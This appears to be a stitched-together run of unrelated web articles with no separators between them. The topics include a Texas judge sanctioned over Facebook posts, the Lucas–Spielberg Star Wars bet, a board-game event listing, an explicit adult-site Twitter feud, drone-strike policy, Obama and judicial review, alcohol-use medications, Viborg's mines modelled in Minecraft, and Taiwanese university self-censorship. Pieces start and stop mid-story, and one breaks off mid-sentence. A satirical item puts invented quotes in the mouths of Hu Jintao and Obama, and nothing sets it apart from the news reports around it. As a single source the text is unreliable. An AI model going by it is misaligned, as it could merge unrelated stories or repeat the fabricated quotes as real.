"I will always conduct my proceedings in a fair and impartial way. The Commission's opinion appears to unduly restrict transparency and openness in government and in our judiciary," she told the Houston Chronicle. "Everything I posted was publicly available information."
The commission didn't agree in its ruling last week:
Judges have a duty to decide every case fairly and impartially. Judicial independence, impartiality, and integrity must be seen in order for the public to have confidence in the legal system. Despite her contention that the information she provided was public information, Judge Slaughter cast reasonable doubt upon her own impartiality and violated her own admonition to jurors by turning to social media to publicly discuss cases pending in her court, giving rise to a legitimate concern that she would not be fair or impartial in the Wieseckel case or in other high-profile cases.
The panel was not pleased with the judge's Facebook post on the first day of testimony in the "Boy in the Box" trial last year.
"After we finished Day 1 of the case called the 'Boy in the Box' case, trustees from the jail came in and assembled the actual 6x8 'box' inside the courtroom!" the judge posted.
The box, however, wasn't even introduced as evidence yet.
"The comments went beyond providing an explanation of the procedures of the court and highlighted evidence that had yet to be introduced at trial," the panel wrote.
The judge also posted a Reuters article, noting that it was an objective story about the case.
Slaughter was also dinged for a post concerning a "difficult" child pornography case she was presiding over last year.
"We have a jury deliberating on punishment for two counts of possession of child pornography," she wrote. "It is probably one of the most difficult types of cases for jurors (and the judge and anyone else) to sit through because of the evidence they have to see. Bless the jury for their service and especially bless the poor child victims."
The judge told the panel that there was nothing harmful about that post. She said she was simply pointing out "an obvious fact that sitting through any child pornography case is difficult."By now you hopefully know the story of how one brilliant decision in 1973 allowed George Lucas to become a multi-billionaire from the smash hit Star Wars franchise. Long story short, instead of accepting the $500 thousand dollar director's fee he was entitled to, Lucas agreed to film the movie for $150,000. In exchange, he negotiated the right to own 100% of all Star Wars merchandise and any future sequels. Considering that the Star Wars empire (pun intended) eventually went on to earn $27 billion worldwide from sequels, licensing and merchandise, it's easy call that original agreement the best deal in the history of Hollywood.
But as crazy as this sounds, Star Wars didn't always seem like a such a sure bet. In fact, production of the the first Star Wars movie was such a disaster that at one especially dark point, a hopeless George Lucas went to his good buddy Steven Spielberg for help. What transpired next would would turn out to be one of the greatest bets ever made in history. A bet that, still to this day, earns Spielberg millions upon millions of dollars for a movie he had absolutely nothing to do with.
The Star Wars empire of merchandise, movies and licensing deals have earned a whopping $27 billion to date. Every year, Star Wars sells $3 billion worth of toys alone. The first film would eventually become the second highest grossing movie of all time (behind Avatar) when you adjust for inflation, earning more than $2.5 billion off a budget of $11 million. Given these impressive stats, hindsight would make it easy to assume that the actual production of Star Wars was this magical experience that was destined for glory from conception to completion. In reality, the exact opposite is true.
Right from the get go, Star Wars seemed destined for failure. After just one week of filming on location in the deserts of Tunisia, Lucas was already well behind his original production schedule thanks to several on set problems and breakdowns. First of all, Tunusia is supposed to be a dry desert 80% of the year, yet somehow the set was devastated by a rare April rain storm during the first week of photography. Secondly, throughout the entire production, the film continuously suffered from a variety of malfunctioning electronics, broken props and crew injuries. Eventually the production moved to a studio in England where the British crew had little interest in making what they considered a dumb children's movie. Nearly every actor involved in the project, including Harrison Ford, was convinced that Star Wars would a complete and utter failure.
Furthermore, Lucas clashed with the film's editors, costume designers, studio executives and technical advisors over nearly all of the post-production elements to the movie. He was so disgusted by one of the final cuts, that the movie's official release date had to be delayed from Christmas 1976 to summer 1977 which caused the budget to swell 40%. George was close to having a nervous breakdown over the fact that the final version of the movie was not living up to his original vision. To make matters worse, the star of the film, Mark Hamill was involved in a serious car accident that scarred his face so badly that all re-shoots were impossible.
Throughout the entire process, George often appeared severely depressed and was even diagnosed with hypertension from all the stress. Interestingly, several of the Fox executives actually loved what started to come together towards the middle of 1977. One Fox exec told Lucas that Star Wars was going to be "the biggest hit ever made". To which George replied "Oh, no. It won't make more than $15 million."
At the peak of his post production depression, George decided to take a weekend trip to the Mobile, Alabama set of Steven Spielberg's film "Close Encounters of the Third Kind". The weekend was meant to clear his head and help him regain some confidence, unfortunately the visit had the exact opposite effect. In Spielberg's own words:
"George came back from Star Wars a nervous wreck. He didn't feel Star Wars came up to the vision he initially had. He felt he had just made this little kids' movie. He came to Mobile, Alabama where I was shooting Close Encounters on this humongous set and hung out with me for a couple of days. He said, 'Oh my God, your movie is going to be so much more successful than Star Wars. This is gonna be the biggest hit of all time'."
At this point, a very desperate George Lucas made a fateful bet. Again, in Spielberg's own words:
"He said, 'You want to trade some points? I'll give you two and a half per cent of Star Wars if you give me two and a half per cent of Close Encounters.' I said, 'Sure, I'll gamble with that, great.'"
So who ended up on top in this bet? Close Encounters was a big hit in it's own right, going on to earn $300 million. But as we mentioned above, that's doesn't even scratch the surface of the overwhelming success of Star Wars. By the end of 1978, Star Wars' worldwide box office receipts totaled $500 million, which earned Spielberg roughly $12.5 million. That's equal to $46.675 million in inflation adjusted dollars. Even 30 years later, that fateful bet is still putting millions of dollars into Steven Spielberg's bank account. One final time, in his own words:
"Close Encounters made so much money and rescued Columbia from bankruptcy. It was the most money I ever made, but it was a meager success story. Star Wars was a phenomenon and I was the happy beneficiary of a couple of points from that movie which I am still seeing money on today."
What's the lesson here? Maybe it's as simple as always supporting your friends in their time of need. You never know how karma might come back in your favor!Players Choice Game Day
Sat. Oct. 5,[masked]noon to 6pm
The Deep Comics & Games
2312 Memorial Pkwy SW Suite A, Huntsville, AL 35801
phone:[masked]
www.deepcomics.com and https://www.facebook.com/thedeepcomics
-- Store located in the shopping center just south of Governor's Drive past Office Depot
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We will be in the NEW Deep gaming room (2nd floor, above Mock Electronics, at opposite end of the same shopping center)
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FREE TO PLAY! All experience levels welcome! Just show up and join in a game, or bring a favorite game of your own to teach and play with others!
We are featuring some of our most requested games like:
**Steve Jackson Games** (http://www.sjgames.com/)
- Castellan
- FRAG
- Munchkin, all versions, including Star Munchkin, Munchkin Impossible, and The Good The Bad and The Munchkin
- Revolution!
- The Stars Are Right
- Zombie Dice
**Atlas Games** (http://www.atlas-games.com/?)
- Gloom
- Once Upon A Time
**Fireside Games** (http://www.firesidegames.com/?)
- Bears!
- Castle Panic
**Looney Labs** (http://www.looneylabs.com/?)
- Fluxx, including Pirate, Cthulhu, and Zombie versions
- Fluxx: The Board Game
**Slugfest Games** (http://slugfestgames.com/?)
- Red Dragon Inn
**Twilight Creations** (http://www.twilightcreationsinc.com/?)
- Deadlands: Battle for Slaughter Gulch
- Humans!!!
- Zombies!!!
**Other Independent Favorites**
- Ace of Spies (http://http://www.kickstarter.com/projects/albinodragon/ace-of-spies-0)
- Betrayal at House on the Hill (http://http://www.wizards.com/default.asp?x=ah/prod/houseonthehill)
- Firefly: The Board Game (http://www.fireflythegame.com/)
- Legacy: Gears of Time -or- Legacy: Forbidden Machines (http://http://floodgategames.com/)
- Zombicide (http://guillotinegames.com/?en/)
And, regular players often bring along their favorite games, like Kings of Tokyo, Tokaido, Ultimate Werewolf: Inquisition, Smash Up, Castle Ravenloft, Settlers of Catan, and more, so there is always lots to choose from!Misty Gates: The Anal Zip Twitter Controversy
A battle is raging on Twitter, triggered by the latest release from Epic Zips starring Misty Gates, appropriately titled The Anal Zip. In one corner a defiant webmodel and her loyal fans; in the other, an anthropomorphic seal with more hang ups about human sexuality than one might assume.
Misty Gates, a camgirl who is becoming increasingly well-known for her remarkably round ass, chose a zipset as the vehicle to do her first ever anal toy scene. Not everyone was thrilled at the news.
Today Ms. Gates unexpectedly went into an ALL CAPS meltdown as she engaged a flurry of admonishing tweets over her choice to sodomize herself for sexual gratification. What pushed her buttons? “Eduardo the Seal” told her she’d disappointed him.
My dear Misty. I am not just disappointed, but mostly I am let down. I see ju have made a sodomy video in violation of nature @Misty_Gates — Eduardo the Seal (@EduardoTheSeal) February 25, 2015
What starts as a moral lecture on the evils of anal quickly covers a lot of other ground, ranging from arguments about interspecies dating to the precautions taken (or not) to prevent ass bacteria from getting all over your clean dishes in the kitchen.
You know what @EduardoTheSeal I'm getting SICK of your Holier-than-thou shit about the whole sodomy thing!!! — Mistyrious F. Gates (@Misty_Gates) February 25, 2015
FUCK YOU @EduardoTheSeal!! THAT IS SO HURTFUL!!! YOU KNOW HOW IMPORTANT PREVENTION OF CROSS CONTAMINATION IS TO ME!!!! — Mistyrious F. Gates (@Misty_Gates) February 25, 2015
Stay tuned to NIPS as we follow this story! In the meantime…White House seeks to establish rules for drone strikes The administration has reportedly carried out more than 300 attacks without a governing legal framework
The Obama administration was working to codify rules for drone strikes in the weeks leading up to the election, the New York Times reported today. Though the CIA and military have carried out more than 2,500 killings with drones since President Obama took office, the administration has reportedly not finalized a legal framework dictating when it is justified in those attacks.
Initially the administration had wanted to establish rules to smooth the transition in the event of a Romney administration. "The matter may have lost some urgency after Nov. 6....[but] the administration is still pushing to make the rules formal and resolve internal uncertainty and disagreement about exactly when lethal action is justified."
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From the Times:
Mr. Obama and his advisers are still debating whether remote-control killing should be a measure of last resort against imminent threats to the United States, or a more flexible tool, available to help allied governments attack their enemies or to prevent militants from controlling territory. Though publicly the administration presents a united front on the use of drones, behind the scenes there is longstanding tension. The Defense Department and the C.I.A. continue to press for greater latitude to carry out strikes; Justice Department and State Department officials, and the president’s counterterrorism adviser, John O. Brennan, have argued for restraint, officials involved in the discussions say.
Despite disagreements within the administration, the public shouldn't expect to gain much insight into the decisions behind drone attacks anytime soon.
In court, "The government has refused even to acknowledge the existence of the drone program in Pakistan," according to the Times. While the administration appears to be working through the issue, "The draft rule book for drone strikes that has been passed among agencies over the last several months is so highly classified, officials said, that it is hand-carried from office to office rather than sent by e-mail."Chinese President Hu Jintao has vowed to improve the Republic’s human rights record by introducing a US-style renditions policy to circumvent the awkward challenges presented by Human Rights legislation.
Mr Hu made the announcement during a rare joint news conference with US President Barack Obama on his first full day of paying lip service to the world’s biggest importer of Chinese goods.
He said he was conscious of the fact that his country’s conspicuous misdemeanours were to its international detriment, intimating that China would seek to improve matters by following the United States’ lead in outsourcing their human rights infringements to more brutal climes.
“We of course are aware of the importance of keeping our nose clean when it is in full view,” Jintao told a packed press conference.
“It is our responsibility to allow our dear friend America to shop with us without experiencing the guilt and shame associated with dealing with a country which isn’t as good as America at covering its tracks.”
Chinese Human Rights
President Obama welcomed China’s attempts to copy the steps previously taken by the United States, citing the development as common ground from which to work from.
Obama told the press conference, “Clearly we appreciate the temptations presented by some forms of human suffering, and we respect China’s right to behave as abysmally as we have in the not too distant past, but we really need to see more subtlety from them.”
“We need to see them tip toeing around the gallows, rather than the elaborate tap dance that currently accompanies every impending drop.”
“If you want to do something despicable then there are loopholes available, as we have clearly demonstrated, so I’m obviously delighted to see China’s willingness to finally use them.”One woman donated her wedding dress to the exhibition
The Museum of Broken Relationships asks people in the cities it visits to donate mementos of everything from short flings to painful divorces.
Originating in Croatia, the show has visited Bosnia-Herzegovina and Slovenia and has amassed more than 300 exhibits.
Berliners have donated more than 30 objects, including a wedding dress and an axe used to break an ex's furniture.
Zvonimir Dobrovic is organising the Berlin show in the Tacheles arts centre, a former squat in the heart of the city.
"It's such a nice, simple idea, because everyone can relate to it," he told the BBC News website.
I left on a scorching summer's day - I thought going on foot or taking a tram would be incredibly stupid - so I got on the bike
"It's not pretentious, it's interactive, a place where people can present their own stories and compare them to others."
Members of the public are asked to give or donate an object, along with a short description of what it means to them, the time of the relationship, and where they are from.
"Even if the objects seem ordinary the stories are very individual and they make the exhibition come alive," Mr Dobrovic said.
"People really enjoy being here, we get couples who spend a long time here, looking and laughing and hoping it never happens to them, and then people who've just broken up who want to tell us their stories," he added.
Cathartic effect
The idea was born when two Zagreb artists, Olinka Vistica and Drazen Grubisic, split up and wanted to do something creative with the pain they were feeling.
"The exhibition comes from a sincere, universal experience and helped us in our break-up process", Ms Vistica told the BBC News website.
Some of the objects donated are ordinary, some more unusual
The artists decided to collect the objects left over from their relationship and put them on display and asked their friends to do the same.
Ms Vistica says the exhibition can have a therapeutic effect.
"The normal impulse is to destroy the mementos of a relationship in order to recover, but we thought of using creativity to overcome the pain of the experience and also remember the joy those objects once |
Toobin: Obama's comment is appropriate 03:35
JUST WATCHED Obama taking on the courts? Replay More Videos... MUST WATCH Obama taking on the courts? 02:43
JUST WATCHED CNN Explains: Health care reform Replay More Videos... MUST WATCH CNN Explains: Health care reform 03:24
Obama and the White House have since attempted to clarify the president's initial comments, which were in response to a reporter's question about the Supreme Court's three days of hearings on the health care law last week.
However, Holder's letter made clear that the substance of Obama's remarks were in line with the administration's recognition that the high court has the power of judicial review.
"The President's remarks were fully consistent with the principles described herein," concluded Holder's letter.
The dispute involving the court and the executive branch has highlighted the political dispute over whether the health care law will survive various legal challenges, including the pending Supreme Court decision on the constitutionality of a key provision. The high court's ruling, expected in June, would take precedence over any other courts hearing similar appeals.
The outcome of the health care cases in an election year could have a lasting impact on Obama's re-election chances as well as the credibility of the federal courts, which are supposed to be beyond politics.
On Monday, Obama said he was "confident that the Supreme Court will not take what would be an unprecedented extraordinary step of overturning a law that was passed by a strong majority of a democratically-elected Congress, and I just remind conservative commentators that for years, what we've heard is, the biggest problem on the bench was judicial activism or a lack of judicial restraint, that an unelected group of people would somehow overturn a dually constituted and passed law."
Some conservative critics interpreted those remarks as a challenge to judicial authority, suggesting Obama was putting political pressure on the high court.
A day after the president's initial remarks, the three Republican-appointed appellate judges held a hearing on a challenge to the health care law from physician-owned hospitals.
Judge Jerry Smith, a Reagan appointee, was especially tough on a Justice Department lawyer defending the law and specifically mentioned the Obama remarks from the day before.
"I'm referring to statements by the president in the past few days to the effect, and I'm sure you've heard about them, that it is somehow inappropriate for what he termed 'unelected' judges to strike acts of Congress that have enjoyed -- he was referring to, of course, Obamacare -- to what he termed broad consensus in majorities in both houses of Congress," Smith said.
"That has troubled a number of people who have read it as somehow a challenge to the federal courts or to their authority or to the appropriateness of the concept of judicial review," Smith continued. "And that's not a small matter. So I want to be sure that you're telling us that the attorney general and the Department of Justice do recognize the authority of the federal courts through unelected judges to strike acts of Congress or portions thereof in appropriate cases."
Government lawyer Dana Lydia Kaersvang appeared initially taken aback, but replied such authority has existed for centuries.
Nevertheless, Smith and Judges Emilio Garza and Leslie Southwick then ordered the Justice Department to submit by noon Thursday Texas time a three-page, single-spaced letter addressing whether the Obama administration believes courts do indeed enjoy that power.
In a sign of the political nature of the imbroglio, Smith's phrasing in open court of the law as "Obamacare" used a term coined by opponents of the law.
Holder's letter Thursday offered repeated deference to the power of the federal courts. He said the Justice Department "has not in this litigation, nor in any other litigation of which I am aware, ever asked this or any other court to reconsider or limit long-established precedent concerning judicial review of the constitutionality of federal legislation."
Legal analysts say the administration is walking a fine line in trying to tamp down criticism from legal and political circles.
"There are two things going on, of course," said Thomas Goldstein, a prominent Washington attorney, law professor, and publisher of SCOTUSBLOG.com. "First, Holder (in the letter) says that we have an argument courts can't hear this case. Second, if you can hear the case, you certainly have the power to invalidate part of the statute as constitutional. But (he says) you shouldn't do that lightly."
The last part of Holder's letter "is how they are framing the president's point -- that the courts need to give the elected branches deference," Goldstein added. "It's a respectful letter, but it has an element of, 'What are you talking about, the president never said that.' "
The specific issue before the appeals court was a provision in the health care law restricting doctor-owned hospitals from expanding their facilities. The challenge was brought by an East Texas spine-and-joint hospital, and the case is separate from the cases being considered by the Supreme Court.
After his initial remarks Monday proved controversial, Obama sought to clarify them Tuesday.
"The point I was making is that the Supreme Court is the final say on our Constitution and our laws, and all of us have to respect it, but it's precisely because of that extraordinary power that the court has traditionally exercised significant restraint and deference to our duly elected legislature, our Congress," Obama said. "And so the burden is on those who would overturn a law like this."
The imbroglio continued Thursday, with Senate Minority Leader Mitch McConnell, R-Kentucky, using a Rotary Club speech in Lexington to tell Obama to "back off" and let the courts do their work without political interference.
"The president crossed a dangerous line this week. And anyone who cares about liberty needs to call him out on it," McConnell said. "The independence of the court must be defended. Regardless of how the justices decide this case, they're answerable, above all, to the Constitution they swore to uphold. The fact that this president does not appear to feel similarly constrained to respect their independence doesn't change that one bit. So respectfully, I would suggest the president back off."
Even Obama's former Harvard Law School professor and mentor, Laurence Tribe, said the president "obviously misspoke," telling the Wall Street Journal that "I don't think anything was gained by his making these comments and I don't think any harm was done, except by public confusion."
Meanwhile, White House Press Secretary Jay Carney faced skeptical reporters Thursday just before Holder's letter arrived at the appeals court.
Carney said it was "preposterous" to suggest Obama does not respect the power of courts to rule on the constitutionality of legislation.
"It is kind of ridiculous to believe that the president wasn't talking about the context of the (health care) case, but I completely concede that he did not describe the context when he took the question and answered it on Monday," Carney said.
Two years ago, Obama attracted similar outcry when he criticized the high court's conservative majority for striking down a campaign finance reform law, giving corporations greater power to spend in federal elections.
Some conservative legal sources privately expressed disappointment in the appeals court's order this week, saying it appeared punitive and petty to demand the Justice Department defend a position it had never disputed in court.
"It was like he (the judge) was giving a homework assignment to an unprepared student," said one right-leaning lawyer, who opposes the health care law. "It has the effect of putting the judiciary on the defensive, and could give rise to concerns the courts will look at the law from a political, not constitutional, perspective."
The Supreme Court held three days of oral arguments on the health care last week. The justices have not, and by custom will not, comment on pending appeals.
Their written opinions, due in the next three months, will be the final word on the Affordable Care Act's constitutionality, particularly the "individual mandate" provision that requires most Americans to have health insurance by 2014 or face a financial penalty.New Yorker Craig Dershowitz has gone to extreme lengths to get his adorable puggle puppy back from his ex-girlfriend who moved out to California with the dog last year. He hired two private investigators, filed a lawsuit that has so far cost him $60K in legal fees and now he's even asked for donations to win back his "kidnapped" puppy Knucks.
After all those court fees, what did a judge have to say about the case? Today Judge Peter J. Mirich told Dershowitz and his ex-girlfriend Sarah Brega that they need to work it out between the two of them, according to NBC. If they haven't figured it out in a month, he'll make a ruling in this dogfight to end dogfights.
Brega and Dershowitz got the puppy Knuckles while they were dating in New York City. They brought the puppy along with them when they moved to Massachusetts. When the couple broke up and Dershowitz moved back to New York, he left the dog with his ex while he found a place to live. Brega moved out to California later, and she took the dog with her.
Dershowitz said they were supposed to share custody of the puppy. He says Brega kidnapped the dog and is trying to bankrupt him by having her attorneys file "frivolous" motions. Brega says when he left the dog with her, she assumed it was hers.
If you'd like to help Dershowitz out, he's asking for $20K in donations for his "Rescue Knux" campaign. How can you trust this guy? For one, he reminds you that he is not crazy at all and is actually kind of a gentleman for waging a $60K legal battle: "I took the high road and went through the courts rather than break down her door and get him."A Florida man's shoplifting stunt caught on surveillance camera proves once and for all it's possible to stuff a chainsaw down pants and ride away on a bicycle without harming the family jewels.
The incident in question unfolded before the video cameras at Treasure Coast Lawn Equipment in Port St. Lucie Oct. 28. The daring shoplifter is seen on video stuffing the ill-gotten goods down the front of his shorts and covering up his stash with his shirt.
The man then waltzed out of the store, got on a bicycle and rode away.
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Store employees, however, chased the shoplifter down, causing him to drop the saw in a wooded area so he could make a cleaner getaway, according to the Sun-Sentinel.
That clean getaway, however, wasn't meant to be.
Port St. Lucie Police caught up with the man about 30 minutes later when he attempted to return it to the store after having a change of heart, TC Palm reported.
Anthony Ballard, 27, now faces grand theft and burglary of a structure charges, according to St. Lucie County jail records. He's also on hold for Martin County in relation to a dealing in property charge. His overall bond was set at $28,750. As of Tuesday, he was still being held in the St. Lucie County Jail.
Both papers report that Ballard was uninjured during the unusual shoplifting stunt.
Photo Credit: YouTubeMeds Can Help Problem Drinkers, But Many Doctors Don't Know That
toggle caption iStockphoto
If you tell your doctor you'd like to stop drinking, odds are he's not going to give you a pill. That's too bad, a study says, because there are medications that can help people with drinking problems get off the sauce.
And they're not going to make you sick like Antabuse, a medication used for decades to treat alcoholics that makes them wretchedly ill if they drink.
Instead, these are drugs that address the brain chemistry that gets messed up by alcohol. In an analysis of 122 randomized controlled trials, both acamprosate and naltrexone helped people either quit drinking or cut back substantially.
"We have medications that can help," says Dr. Daniel Jonas, an associate professor of medicine at the University of North Carolina in Chapel Hill. He's the first author on the study published Tuesday in JAMA, the journal of the American Medical Association.
But patients seeking help with a drinking problem are prescribed the drugs less than 10 percent of the time, Jonas told Shots.
One reason is that most people don't get any treatment of any sort for a serious drinking problem. Another is that many doctors just don't know that there are drugs beside Antabuse, even though acamprosate and naltrexone were approved by the Food and Drug Administration back in the 1990s. "It's been quite a bit of a secret," Jonas says. "It doesn't get advertised."
This study doesn't look at social drinkers; rather it's about people who are really having problems with alcohol, such as wanting to cut back but not being able to. About 20 percent of men have an alcohol use disorder at some point in their lives, as do 8 percent of women.
Still, these medications are no easy fix. With acamprosate, for instance, 1 in 12 people using it stopped drinking completely. And all of the people in these studies were also getting behavioral therapy to help them deal with the complex social cues and habits surrounding drinking. "It's really hard to quit, and it often takes many attempts to be successful," Jonas says.
The study also found benefits in nalmefene and topiramate, two medications that are also prescribed for alcohol dependence, but are not specifically approved for that by the FDA. A study published last month found that topiramate helped reduce drinking in people with a specific gene variant, suggesting that new medications could be developed to target those neurotransmitter systems.
Many primary care doctors aren't comfortable treating alcohol problems, Jonas says, and typically refer patients for behavioral treatment. But behavioral treatment can be hard to find, and hard to pay for.
This study suggests not only that a lot more people might benefit from using medication along with behavioral therapy, but also that some people might get help from medication alone. "People are starting to ask the question, could we just be using the medication, could it be beneficial?" Jonas says. "We don't really know the answer to that based on the studies we have."
Historically addiction has been treated in behavioral health settings or through 12-step groups, says Dr. Katharine Bradley, a senior investigator at the Group Health Research Institute in Seattle, who co-wrote an editorial accompanying the study. "But there's a transition now. We're moving addiction back into the medical system."
That's not to say that people shouldn't go with a 12-step program or purely behavioral treatment, she says, but that people should be offered options. She's working on a study to do just that. "Our hope with these medications is that as people become aware of them it will help destigmatize addiction, and move it further into the medical setting for patients who want that."Ubuntu founder Mark Shuttleworth revealed today that Ubuntu 11.04 will be codenamed Neutered Nudibranch Natty Narwhal. In a blog entry, he described the reasoning behind the codename and discussed some of the features that are planned for the release.
Ubuntu is developed on a time-based six-month release cycle. There are two new versions every year, which typically arrive in October and April. The version number is derived from the year and the approximate month of the planned release date. Each version has a development codename that consists of an animal name preceded by an adjective that starts with the same letter. The names follow an alphabetically ordered sequence. In many cases, a future version is referred to by its letter prior to the disclosure of the intended codename.
Development on Natty will start shortly after the release of Ubuntu 10.10, codenamed Maverick Meerkat, which is expected in October. According to the Natty release schedule draft, feature freeze is expected to occur on February 24 and the official release is planned for April 28. There will be five alpha releases and one beta release prior to the final official release.
In late October, Canonical will host an Ubuntu Developer Summit in Florida at which blueprints for the Natty development cycle will be formulated with the help of upstream contributors and the broader Ubuntu community.
Canonical, the company behind Ubuntu, has put a lot of effort during the current development cycle into its Unity project, which is developing a lightweight environment for instant-on computing and netbook form-factor devices. Canonical is also working to integrate support for multitouch technology and gesture-based interaction into the mobile user experience.
Shuttleworth says that ARM compatibility, design refinement, and improved support for graphics hardware are important priorities for the 11.04 release. This seems to suggest that Canonical's focus on smartbooks and mobile computing will continue to grow in 2011.
According to Shuttleworth, the narwhal was selected as the codename for this release due to its similarities to the unicorn. The narwhal is an aquatic mammal that typically has a single horn-like tusk. It is a member of the Monodontidae family, which also includes the Beluga. Experts agree that narwhals are awesome and that unicorns no longer exist because the narwhals defeated them in an epic battle.
Listing image by Narwhal cartoon by Wonchop and WeeblStatistical Mines
GeoBoxers in Denmark have developed Vibcraft: The city of Viborg in Minecraft. One of the most exciting parts of this job was modelling the world’s largest limestone mines: Mønsted and Daugbjerg mines – essentially bringing real mines to minecraft!
In this blog post we will give a technical overview of how GeoBoxers solved the task.
Mønsted in Minecraft. Visit the gallery.
Viborg’s ambition with the project was to give full access to all of the city and they were aware that this also included sub-terrain features such as true geology and the two old limestone mines. Due to the serious risk of getting lost, parts of the real mines are not accessible to the public. Thanks to Vibcraft it is now possible to explore these parts as well.
The mines are located west of Viborg (red square in the overview). The arrows mark the entrances to the mines. Green is Daugbjerg, purple is Mønsted.
The mines were surveyed beforehand as LiDAR (Light Detection And Ranging) point clouds using two different methods:
Daugbjerg mine was scanned with a Trimble TX5 laserscanner by survey student Morten Thinesen as part of his final thesis. This is a traditional laser scanning approach where each scanning station is transformed into a common reference system using transfer points (spheres). More than 90 stations were used and approximately 160 mio. points were collected.
Mønsted mine was scanned by engineering company COWI using the ZEB1 handheld laser scanner. This scanner contains an IMU thus allowing for a continuous scan as the operator moves through the mine. The Mønsted scan consists of approximately 30 mio. points.
The result of each of the scans was a series of points reflected randomly from the walls, roof and floor of the mine. Since the points have no information attached there is no telling what is actually air and what is solid underground – visualising the point cloud from an appropriate distance would reveal a shell structure much like an aluminum cast of an ant colony.
Entrance to the Daugbjerg mine. The dataset was not georeferenced and we had to determine orientation/tilt e.g. by looking at the trees outside the entrance.
If the underground is filled with some sort of blocks, in our case a representation of the surrounding geology, the interior of the mines should be “dug out” by filling air into the solid underground. In order to accomplish that, we had to be able to determine the “inside” of the mines. The problem of determining the interior and exterior of a 2D set whose boundary consists of a number of closed curves is classical in mathematics as well as in geospatial analysis. It’s a problem with many nice solutions, and something which most GIS systems will be able to handle, very often via the GEOS-library.
A classical method to determine whether a point is inside a polygon is to count intersections between a line emanating from the point and the boundary of the polygon.
In 3D, the equivalent problem would be to determine the interior of a set whose boundary consists of a number of closed surfaces. This might not be common in GIS but it is a classical problem in differential geometry.
So, if we could determine the boundary of the mines from the given set of scanned points, the point cloud, we would be able to rely on well known algorithms for determining whether a given point lies in the interior.
However, the problem of surface reconstruction from a given point cloud is not trivial – and definitely not a problem which always has a unique solution. If the point distribution is quite homogeneous and there are some reasonable geometric and topological bounds on the surface we try to reconstruct, e.g. curvature bounds, a unique solution might exist. Surface reconstruction / triangular mesh generation can also be aided by extra information like oriented normals to each point.
In our case the point density was very inhomogeneous and the geometry and topology of the mines were unknown to us. Also, information on the normal direction or scan angle was not provided. Both topology and geometry was complicated by objects in the mines – walls, bridges, and other, to us, unknown objects:
A cross section of a tunnel. It is difficult to differentiate between tunnel walls and noise. Is this one tunnel with a vertical structure or is it two parallel tunnels separated by a wall?
Hence the reconstruction would necessarily include quite a bit of guesswork. It is not difficult to construct ambiguous point configurations even in 2D exemplifying the problem – several “solutions”, when sufficient constraints on topology and/or geometry are not given:
Where to close the gap? If we don’t know the topology of the boundary it could either be the green lines or the blue in the example above.
Instead of using existing surface reconstruction algorithms we took a different approach. Based on ray tracing we developed a statistical measure of when a point was in the interior of the mines.
A horisontal section of a probability mask generated from ray tracing. The image shows a part of the Mønsted mine – scale is 0.5 m.
This was combined with classical morphological methods to yield the output 3D raster mask representing the interior.
A part of the “inside mask” of the Mønsted mines. The masked voxels determine what should be replaced by air. There is a trade off between the desire to have nice and well defined tunnels (more filtering) and having an accurate representation of the input point geometry (less filtering).
If not perfect, the result was satisfactory and the algorithms ran fast and were capable of handling the massive amount of input points. Further refinement of the 3D morphological filtering methods used would definitely be possible.
The geology below Viborg is dominated by sediments, clay and limestone. To map the geology, layers of coloured clay blocks were used to match materials in different depths.
The geology surrounding the mines is represented by layers of colored clay. The entrance to the Mønsted mine is clearly visible in the upper part of the image.
Below are some images from the Vibcraft server. The municipality of Viborg has chosen to keep the server open for public access, so why not take a stroll in the mines yourself?
Serverurl: vibcraft.dk (server runs version 1.7.10)
User-overview in map: http://vibcraft.dk/#kortside
Information for users (in Danish): http://www.viborg.dk/vibcraft
To see the limestone mines when in Minecraft:. /warp moensted and enter through the purple portal.
Enjoy – and don’t get lost!
The Daugbjerg mine.
The Mønsted mine.
Links
Gallery: Mønsted in Minecraft
ZEB1 handheld mobile mapper: http://www.3dlasermapping.com/products/handheld-mapping
Mønsted Limestone Mine: http://www.monsted-kalkgruber.dk/en
Daugbjerg Limestone Mine: http://www.daugbjerg-kalkgruber.dk/default2.htmlTaipei, Taiwan
More than half of Taiwan’s universities may have engaged in self-censorship in order to attract Chinese students, according to a government investigation in Taiwan.
According to the Ministry of Education, 80 of Taiwan’s 157 universities have signed agreements with Chinese universities that are primarily sources of short-term study-abroad candidates, vowing not to contradict official Chinese views on Taiwan’s status.
Taiwan’s universities are facing falling new student enrollment, leaving them increasingly vulnerable to Beijing’s demands if they want the growing numbers of Chinese students to keep coming. The incident is also the latest example of China using its growing army of students abroad to advance its political agenda. Almost 550,000 Chinese students study outside of China, according to the latest government figures.
Institutions named by the ministry include some of Taiwan’s most prestigious, including National Taiwan University and National Chengchi University. Education minister Pan Wen-chung said on Monday that the ministry will draft new guidelines for future cross-strait university agreements.
China’s Communist Party regards Taiwan as unfinished business from the Chinese civil war, which ended in 1949 with the Nationalists fleeing to Taiwan. Taiwan, a self-ruled democracy caught in diplomatic limbo, has only recently begun to take large numbers of Chinese students.
Legislator Hsu Yung-ming has been a vocal critic of the universities’ policy to reach agreements with Chinese institutions. Hsu earned his doctoral degree from the University of Michigan before teaching political science at Taiwan universities, including classes on Taiwan’s democratization, which were attended by Chinese students. He said he is in favor of Chinese students studying in Taiwan, provided it doesn’t influence how classes are taught—but that in this case it is “quite obvious” that China is trying to curtail freedom of discussion in Taiwan schools.
“The content of the requests that [Chinese universities] made was very consistent,” he said. “They were requesting in a unified manner that Taiwanese universities commit themselves to a position” with regard to Taiwan’s political status.
The education ministry said it will continue its probe to determine whether any institutions had violated regulations governing cross-strait relations. Ministry staff declined an interview request, citing the ongoing investigation.
Many of the schools named in the preliminary report have said they merely signed agreements or attachments to placate Chinese counterparts and had not diminished Taiwan’s sovereignty.
Taiwan’s universities have been suffering from a one-two punch of lower new student enrollment and a glut of universities. New student enrollment was down 7.4% last year compared to the previous year, and that trend is expected to continue into the future, primarily due to Taiwan’s low birth rate.
To survive in the current environment, some universities are merging, while others are forming alliances to share students and resources. The education ministry has even suggested that some universities could become nursing homes to serve Taiwan’s rapidly graying population.
As such, Chinese students have become a growing source of revenue for schools. In the nine years between 2007 and 2015, non-degree-seeking Chinese students in Taiwan increased by more than 40 times from 823 to 34,114, according to government figures. Chinese nationals were first allowed to enter degree programs in 2011—between that year and 2015, student numbers increased by more than eight times, from 928 to 7,813.
Concerns about China using its students as political tools have flared up elsewhere in the world. In 2014, the US House Committee on Foreign Affairs held a hearing to discuss how China’s influence over American universities might be compromising academic freedom. Much of the hearing focused on the Confucius Institutes opened by the Chinese government in the US.
